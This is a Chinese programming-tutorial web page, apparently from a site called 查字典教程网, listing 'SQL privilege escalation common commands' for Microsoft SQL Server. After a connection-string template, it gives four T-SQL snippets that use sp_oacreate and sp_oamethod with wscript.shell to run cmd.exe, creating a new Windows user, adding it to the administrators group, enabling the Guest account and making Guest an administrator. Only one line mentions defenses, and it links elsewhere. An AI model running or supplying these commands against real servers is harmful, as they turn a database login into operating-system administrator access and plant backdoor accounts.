手机
当前位置:查字典教程网 >编程开发 >mssql数据库 >SQL 提权 常用命令
SQL 提权 常用命令
摘要:1、连接数据库driver={SQLServer};server=服务器IP;uid=用户名;pwd=密码;database=数据库名2、添...

1、连接数据库

driver={SQL Server};server=服务器IP;uid=用户名;pwd=密码;database=数据库名

2、添加新用户

declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:windowssystem32cmd.exe /c net user 新用户 密码 /add'

3、把用户加到管理组

declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:windowssystem32cmd.exe /c net localgroup administrators 新用户 /add'

4、激活GUEST用户

declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:windowssystem32cmd.exe /c net user guest /active:yes'

5、把Guest加到管理组

declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:windowssystem32cmd.exe /c net localgroup Administrators Guest /add'

关于防范方法,可以参考查字典教程网服务器安全设置栏目。

【SQL 提权 常用命令】相关文章:

SQL Server 中 RAISERROR 的用法详细介绍

SQL Server 2008中SQL之WaitFor使用介绍

SQL Server 游标使用

SQLite数据库

MSSQL基础教程之SQL流程控制命令

SQL Server 解析行溢出数据的存储

SQL Server 2000的安全配置

SQL Server 索引介绍

SQL Server 2008 存储过程示例

SQLServer2008的实用小道具 merger使用介绍

精品推荐
分类导航